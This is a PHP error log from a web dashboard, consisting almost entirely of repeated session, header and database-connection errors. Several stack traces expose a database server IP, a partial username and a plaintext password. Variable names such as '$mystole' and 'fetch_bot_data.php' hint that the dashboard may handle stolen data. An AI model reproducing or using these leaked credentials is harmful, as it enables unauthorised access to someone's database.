thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:20:24 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 21:20:25 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:20:25 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:20:25 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:20:25 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:20:25 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:20:25 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:20:25 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:20:25 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:20:25 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:21:34 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 21:21:34 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:21:34 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:21:34 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:21:34 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:21:34 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:21:34 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:21:34 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:21:34 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:21:34 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:21:39 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 21:21:39 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:21:39 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:21:39 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:21:39 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:21:39 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:21:39 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:21:39 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:21:39 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:21:39 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:21:51 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 21:21:51 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:21:51 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:21:51 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:21:51 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:21:51 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:21:51 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:21:51 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:21:51 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:21:51 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:22:48 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 21:22:48 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:22:48 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:22:48 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:22:48 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:22:48 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:22:48 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:22:48 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:22:48 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:22:48 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:23:00 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 21:23:00 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:23:00 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:23:00 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:23:00 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:23:00 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:23:00 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:23:00 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:23:00 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:23:00 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:23:48 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 21:23:48 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:23:48 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:23:48 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:23:48 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:23:48 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:23:48 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:23:48 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:23:48 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:23:48 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:24:03 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 21:24:03 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:24:03 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:24:03 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:24:03 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:24:03 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:24:03 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:24:03 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:24:03 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:24:03 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:24:20 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 21:24:20 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:24:20 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:24:20 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:24:20 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:24:20 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:24:20 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:24:20 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:24:20 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:24:20 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:25:28 Europe/Istanbul] PHP Fatal error: Uncaught mysqli_sql_exception: Connection timed out in /home/luckycha/public_html/Dashboard/Cards/index.php:6
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(6): mysqli_connect('85.208.106.239', 'luckycha_charmu...', 'Emre.1337', 'luckycha_charmd...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:25:31 Europe/Istanbul] PHP Fatal error: Uncaught mysqli_sql_exception: Connection timed out in /home/luckycha/public_html/Dashboard/Cards/index.php:6
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(6): mysqli_connect('85.208.106.239', 'luckycha_charmu...', 'Emre.1337', 'luckycha_charmd...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:25:38 Europe/Istanbul] PHP Fatal error: Uncaught mysqli_sql_exception: Connection timed out in /home/luckycha/public_html/Dashboard/Cards/index.php:6
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(6): mysqli_connect('85.208.106.239', 'luckycha_charmu...', 'Emre.1337', 'luckycha_charmd...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:25:41 Europe/Istanbul] PHP Fatal error: Uncaught mysqli_sql_exception: Connection timed out in /home/luckycha/public_html/Dashboard/Cards/index.php:6
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(6): mysqli_connect('85.208.106.239', 'luckycha_charmu...', 'Emre.1337', 'luckycha_charmd...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:26:47 Europe/Istanbul] PHP Fatal error: Uncaught mysqli_sql_exception: Connection timed out in /home/luckycha/public_html/Dashboard/Cards/index.php:6
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(6): mysqli_connect('85.208.106.239', 'luckycha_charmu...', 'Emre.1337', 'luckycha_charmd...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:27:17 Europe/Istanbul] PHP Fatal error: Uncaught mysqli_sql_exception: Connection timed out in /home/luckycha/public_html/Dashboard/Cards/index.php:6
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(6): mysqli_connect('85.208.106.239', 'luckycha_charmu...', 'Emre.1337', 'luckycha_charmd...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:27:21 Europe/Istanbul] PHP Fatal error: Uncaught mysqli_sql_exception: Connection timed out in /home/luckycha/public_html/Dashboard/Cards/index.php:6
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(6): mysqli_connect('85.208.106.239', 'luckycha_charmu...', 'Emre.1337', 'luckycha_charmd...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:27:44 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 21:27:44 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:27:44 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:27:44 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:27:44 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:27:44 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:27:44 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:27:44 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:27:44 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:27:44 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:28:11 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 21:28:11 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:28:11 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:28:11 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:28:11 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:28:11 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:28:11 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:28:11 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:28:11 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:28:11 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:34:42 Europe/Istanbul] PHP Warning: include(fetch_bot_data.php): Failed to open stream: No such file or directory in /home/luckycha/public_html/Dashboard/Cards/index.php on line 3
[05-Nov-2023 21:34:42 Europe/Istanbul] PHP Warning: include(fetch_bot_data.php): Failed to open stream: No such file or directory in /home/luckycha/public_html/Dashboard/Cards/index.php on line 3
[05-Nov-2023 21:34:42 Europe/Istanbul] PHP Warning: include(): Failed opening 'fetch_bot_data.php' for inclusion (include_path='.:/opt/cpanel/ea-php81/root/usr/share/pear') in /home/luckycha/public_html/Dashboard/Cards/index.php on line 3
[05-Nov-2023 21:34:42 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:34:42 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:34:42 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:34:42 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 9
[05-Nov-2023 21:34:42 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 9
[05-Nov-2023 21:34:42 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:34:42 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:34:42 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 12
[05-Nov-2023 21:34:42 Europe/Istanbul] PHP Warning: Undefined variable $mytk in /home/luckycha/public_html/Dashboard/Cards/index.php on line 306
[05-Nov-2023 21:34:42 Europe/Istanbul] PHP Warning: Undefined variable $mypassss in /home/luckycha/public_html/Dashboard/Cards/index.php on line 321
[05-Nov-2023 21:34:42 Europe/Istanbul] PHP Warning: Undefined variable $mystole in /home/luckycha/public_html/Dashboard/Cards/index.php on line 336
[05-Nov-2023 21:35:03 Europe/Istanbul] PHP Warning: include(fetch_bot_data.php): Failed to open stream: No such file or directory in /home/luckycha/public_html/Dashboard/Cards/index.php on line 3
[05-Nov-2023 21:35:03 Europe/Istanbul] PHP Warning: include(fetch_bot_data.php): Failed to open stream: No such file or directory in /home/luckycha/public_html/Dashboard/Cards/index.php on line 3
[05-Nov-2023 21:35:03 Europe/Istanbul] PHP Warning: include(): Failed opening 'fetch_bot_data.php' for inclusion (include_path='.:/opt/cpanel/ea-php81/root/usr/share/pear') in /home/luckycha/public_html/Dashboard/Cards/index.php on line 3
[05-Nov-2023 21:35:03 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:35:03 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:35:03 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:35:03 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 9
[05-Nov-2023 21:35:03 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 9
[05-Nov-2023 21:35:03 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:35:03 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:35:03 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 12
[05-Nov-2023 21:35:03 Europe/Istanbul] PHP Warning: Undefined variable $mytk in /home/luckycha/public_html/Dashboard/Cards/index.php on line 306
[05-Nov-2023 21:35:03 Europe/Istanbul] PHP Warning: Undefined variable $mypassss in /home/luckycha/public_html/Dashboard/Cards/index.php on line 321
[05-Nov-2023 21:35:03 Europe/Istanbul] PHP Warning: Undefined variable $mystole in /home/luckycha/public_html/Dashboard/Cards/index.php on line 336
[05-Nov-2023 21:38:10 Europe/Istanbul] PHP Warning: include(fetch_bot_data.php): Failed to open stream: No such file or directory in /home/luckycha/public_html/Dashboard/Cards/index.php on line 3
[05-Nov-2023 21:38:10 Europe/Istanbul] PHP Warning: include(fetch_bot_data.php): Failed to open stream: No such file or directory in /home/luckycha/public_html/Dashboard/Cards/index.php on line 3
[05-Nov-2023 21:38:10 Europe/Istanbul] PHP Warning: include(): Failed opening 'fetch_bot_data.php' for inclusion (include_path='.:/opt/cpanel/ea-php81/root/usr/share/pear') in /home/luckycha/public_html/Dashboard/Cards/index.php on line 3
[05-Nov-2023 21:38:10 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:38:10 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:38:10 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:38:10 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 9
[05-Nov-2023 21:38:10 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 9
